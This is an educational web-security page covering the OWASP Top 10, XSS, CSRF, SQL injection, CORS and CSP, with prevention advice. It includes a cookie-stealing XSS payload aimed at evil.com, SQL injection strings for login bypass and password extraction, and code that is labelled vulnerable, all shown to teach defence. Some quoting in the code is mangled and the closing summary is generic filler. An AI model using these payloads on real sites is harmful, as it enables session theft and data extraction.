Web Security
OWASP Top 10 (2021)
Section titled “OWASP Top 10 (2021)”The OWASP Top 10 is the de facto standard for web application security awareness. The 2021 edition Reflects the shift toward cloud-native architectures and API-driven applications.
| # | Category | Root Cause |
|---|---|---|
| A01 | Broken Access Control | Missing authorization checks, IDOR |
| A02 | Cryptographic Failures | Weak or missing encryption, exposed sensitive data |
| A03 | Injection | Unsanitized input in queries, commands, templates |
| A04 | Insecure Design | Missing threat modeling, abuse case analysis |
| A05 | Security Misconfiguration | Default configs, unnecessary features, verbose errors |
| A06 | Vulnerable and Outdated Components | Unaudited dependencies, known CVEs |
| A07 | Identification and Authentication Failures | Weak passwords, broken session management |
| A08 | Software and Data Integrity Failures | Insecure deserialization, unsigned updates |
| A09 | Security Logging and Monitoring Failures | Insufficient logging, no alerting |
| A10 | Server-Side Request Forgery (SSRF) | Server coerced into making unauthorized requests |
Cross-Site Scripting (XSS)
Section titled “Cross-Site Scripting (XSS)”XSS occurs when an application includes untrusted data in a web page without proper validation or Escaping, allowing an attacker to execute scripts in the victim”s browser.
Types of XSS
Section titled “Types of XSS”| Type | Storage Location | Execution Context | Difficulty |
|---|---|---|---|
| Reflected | URL parameters, form inputs | Response HTML | Medium |
| Stored | Database, user content | When content is rendered | High |
| DOM-based | Client-side JavaScript | Client-side DOM manipulation | Medium |
Reflected XSS
Section titled “Reflected XSS”The malicious payload is included in the immediate HTTP response. The attacker crafts a URL Containing the payload and tricks the victim into visiting it.
https://example.com/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>If the server reflects the q parameter directly into the HTML without encoding, the script Executes in the victim’s browser.
Stored XSS
Section titled “Stored XSS”The payload is persisted in the application (database, comment, user profile) and executed every Time any user views the affected content.
// Vulnerable: storing and rendering user comments without sanitizationconst comment = req.body.comment;db.query('INSERT INTO comments (text) VALUES (?)', [comment]);
// Rendering (vulnerable):// <div>${comment}</div>Stored XSS is more dangerous than reflected XSS because it affects all users who view the Compromised content, not just the user who clicks a crafted link.
DOM-based XSS
Section titled “DOM-based XSS”The vulnerability exists entirely in client-side JavaScript. The payload is manipulated in the DOM Without being sent to the server.
// Vulnerable: reading from location.hash and inserting into DOMconst userInput = document.location.hash.substring(1);document.getElementById('output').innerHTML = userInput;XSS Prevention
Section titled “XSS Prevention”Primary defense: Output encoding. Encode data based on the context where it appears:
| Context | Encoding Required | Example |
|---|---|---|
| HTML body | HTML entity encoding | <script> → <script> |
| HTML attribute | Attribute encoding | " onclick=" → " onclick=" |
| JavaScript | JavaScript encoding | </script> → \x3c/script\x3e |
| URL | URL encoding | javascript: → javascript%3A |
| CSS | CSS encoding | expression() → \65xpression() |
// Using a templating engine with auto-escaping (safe)// React/JSX auto-escapes by defaultfunction UserProfile({ username }) { return <div>Hello, {username}</div>; // username is escaped}
// Using DOM APIs safelydocument.getElementById('output').textContent = userInput; // safe, no HTML parsing// vsdocument.getElementById('output').innerHTML = userInput; // UNSAFEContent Security Policy (CSP) is a secondary defense that mitigates the impact of XSS by Restricting which scripts can execute.
Cross-Site Request Forgery (CSRF)
Section titled “Cross-Site Request Forgery (CSRF)”CSRF tricks an authenticated user into executing an unwanted action on a web application where they Are already authenticated. The attack exploits the browser’s automatic inclusion of credentials (cookies) with requests.
CSRF Attack Flow
Section titled “CSRF Attack Flow”sequenceDiagram
participant V as Victim
participant A as Attacker Site
participant B as Bank (Victim's account)
V->>B: Login to bank (session cookie set)
V->>A: Visit attacker page
A->>B: GET/POST /transfer?to=attacker&amount=10000 (automatic cookie send)
B->>B: Execute transfer (valid session)
B->>A: Redirect to confirmation pageCSRF Prevention
Section titled “CSRF Prevention”| Defense | Mechanism | Effectiveness |
|---|---|---|
| SameSite cookie attribute | Browser does not send cookies on cross-site requests | Strong (Lax/Strict) |
| CSRF token | Hidden form field validated on submission | Strong |
| Custom request header | JavaScript sets header, cross-origin cannot | Strong (API-only) |
| Requiring user interaction | Re-authentication for sensitive actions | Strong |
SameSite cookies are the primary defense for modern applications:
Set-Cookie: session_id=abc123; SameSite=Strict; Secure; HttpOnlyCSRF tokens for legacy applications:
<form action="/transfer" method="POST"> <input type="hidden" name="csrf_token" value="a1b2c3d4e5f6" /> <input type="text" name="amount" /> <button type="submit">Transfer</button></form>The server generates a cryptographically random token per session (or per request), includes it in Forms, and validates it on submission. The token must be tied to the user’s session.
Custom headers for API endpoints:
// Fetch API includes custom headers — cross-origin requests require CORS preflightfetch('https://api.example.com/transfer', { method: "POST'', headers: { "Content-Type': "application/json'', "X-CSRF-Token': "a1b2c3d4e5f6'', }, credentials: "include',});If your API uses Authorization: Bearer headers (not cookies), it is inherently protected from CSRF Because the browser does not automatically attach custom headers to cross-origin requests.
SQL Injection
Section titled “SQL Injection”SQL injection occurs when user input is concatenated into SQL queries without parameterization, Allowing an attacker to manipulate the query’s logic.
Types of SQL Injection
Section titled “Types of SQL Injection”Classic (in-band):
-- Input: " OR ''1"='1' --SELECT * FROM users WHERE username = '' OR '1'='1' --' AND password = '...'-- Returns all users, bypasses authenticationUnion-based:
-- Input: " UNION SELECT username, password FROM users --SELECT name, description FROM products WHERE id = ''" UNION SELECT username, password FROM users --'-- Exposes usernames and passwords from users tableBlind (boolean-based):
-- Input: " AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username=''admin")='a' ---- Attacker extracts password one character at a time based on response differencesBlind (time-based):
-- Input: "; IF (SELECT SUBSTRING(password,1,1) FROM users WHERE username=''admin")='a' WAITFOR DELAY '0:0:5' ---- Attacker extracts password based on response timingPrevention
Section titled “Prevention”Primary defense: Parameterized queries (prepared statements).
# VULNERABLE — string concatenationcursor.execute(f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'")
# SAFE — parameterized querycursor.execute("SELECT * FROM users WHERE username = ? AND password = ?", (username, password))
# SAFE — ORMuser = User.query.filter_by(username=username, password_hash=hash).first()| Language/Framework | Safe Method |
|---|---|
| Python (sqlite3) | cursor.execute("SELECT * FROM users WHERE id = ?", (id,)) |
| Python (SQLAlchemy) | session.query(User).filter(User.id == id) |
| Java (JDBC) | PreparedStatement with ? placeholders |
| Node.js (pg) | client.query("SELECT * FROM users WHERE id = $1", [id]) |
| Go (database/sql) | db.Query("SELECT * FROM users WHERE id = ?", id) |
| PHP (PDO) | $stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?") |
Additional defenses:
- Least privilege: Application database user should not have
DROP``ALTEROrGRANTpermissions - Allowlist input validation: For known-format inputs (integers, UUIDs), validate format before querying
- WAF: Web Application Firewall can block common injection patterns (but is not a substitute for parameterized queries)
Cross-Origin Resource Sharing (CORS)
Section titled “Cross-Origin Resource Sharing (CORS)”CORS is a browser security mechanism that controls which origins can access resources on a different Origin. Without CORS, browsers enforce the Same-Origin Policy (SOP), which prevents web pages from Making requests to a different domain, protocol, or port.
How CORS Works
Section titled “How CORS Works”sequenceDiagram
participant B as Browser
participant F as Frontend (example.com)
participant A as API (api.example.com)
B->>A: Preflight OPTIONS request (Origin: example.com)
A->>B: Response (Access-Control-Allow-Origin: example.com)
B->>A: Actual request (Origin: example.com)
A->>B: Response with data + CORS headersCORS Headers
Section titled “CORS Headers”| Header | Purpose |
|---|---|
Access-Control-Allow-Origin | Which origins can access the resource |
Access-Control-Allow-Methods | Which HTTP methods are allowed |
Access-Control-Allow-Headers | Which request headers are allowed |
Access-Control-Allow-Credentials | Whether cookies/auth headers can be sent |
Access-Control-Max-Age | How long the preflight result can be cached |
Access-Control-Expose-Headers | Which response headers the browser can expose |
CORS Misconfigurations
Section titled “CORS Misconfigurations”| Misconfiguration | Risk |
|---|---|
Access-Control-Allow-Origin: * with credentials | Any site can make authenticated requests |
Reflecting Origin header without validation | Any origin is allowed |
null origin allowed | Sandboxed iframes and redirects can bypass CORS |
// VULNERABLE — reflecting origin without validationconst origin = req.headers.origin;res.setHeader('Access-Control-Allow-Origin', origin);res.setHeader('Access-Control-Allow-Credentials', 'true');
// SAFE — allowlist specific originsconst ALLOWED_ORIGINS = ['https://app.example.com', 'https://admin.example.com'];const origin = req.headers.origin;if (ALLOWED_ORIGINS.includes(origin)) { res.setHeader('Access-Control-Allow-Origin', origin); res.setHeader('Access-Control-Allow-Credentials', 'true');}Content Security Policy (CSP)
Section titled “Content Security Policy (CSP)”CSP is an HTTP response header that restricts which resources the browser can load for a given page. It is a defense-in-depth mechanism against XSS and data injection.
CSP Directives
Section titled “CSP Directives”| Directive | Purpose | Example |
|---|---|---|
default-src | Fallback for other resource types | 'self' |
script-src | Allowed JavaScript sources | 'self' 'nonce-abc123' |
style-src | Allowed CSS sources | 'self' 'unsafe-inline' |
img-src | Allowed image sources | 'self' data: https: |
font-src | Allowed font sources | 'self' https://fonts.gstatic.com |
connect-src | Allowed fetch/XHR/WebSocket targets | 'self' https://api.example.com |
frame-src | Allowed iframe sources | 'none' |
object-src | Allowed plugin (Flash, etc.) sources | 'none' |
base-uri | Allowed base URL for relative URLs | 'self' |
form-action | Allowed form submission targets | 'self' |
frame-ancestors | Who can embed this page in a frame | 'none' |
upgrade-insecure-requests | Automatically upgrade HTTP to HTTPS | N/A |
Example CSP Policy
Section titled “Example CSP Policy”Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-rAnd0m123' https://cdn.example.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' https://fonts.gstatic.com; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; upgrade-insecure-requests; report-uri /csp-report;Nonce-based CSP
Section titled “Nonce-based CSP”A nonce (number used once) is a random value generated per request that allows specific inline Scripts:
// Server generates nonce per requestconst nonce = crypto.randomBytes(16).toString('base64');
// CSP header includes the nonce// Content-Security-Policy: script-src 'nonce-abc123' 'self'
// HTML includes inline script with matching nonce// <script nonce="abc123">// // This script is allowed// </script>// <script>// // This script is BLOCKED (no nonce)// </script>Reference Standards: OWASP Top 10 (2021), OWASP Testing Guide v4, OWASP Cheat Sheet Series, CSP Level 3 (W3C Recommendation), CORS (W3C Recommendation), RFC 6265 (HTTP Cookies), RFC 7231 (HTTP/1.1 Semantics), RFC 9110 (HTTP Semantics).
Summary
Section titled “Summary”This topic covers the essential concepts and techniques related to web security, including key principles and practical applications.
Key concepts include:
- core concepts and definitions
- key principles and frameworks
- practical applications
- common techniques and methods
- evaluation and critical analysis
A thorough understanding of these concepts, combined with regular practice and review, is essential for mastery of this topic.
Worked Examples
Section titled “Worked Examples”Worked examples demonstrating the application of key concepts are covered in the detailed sub-pages linked above.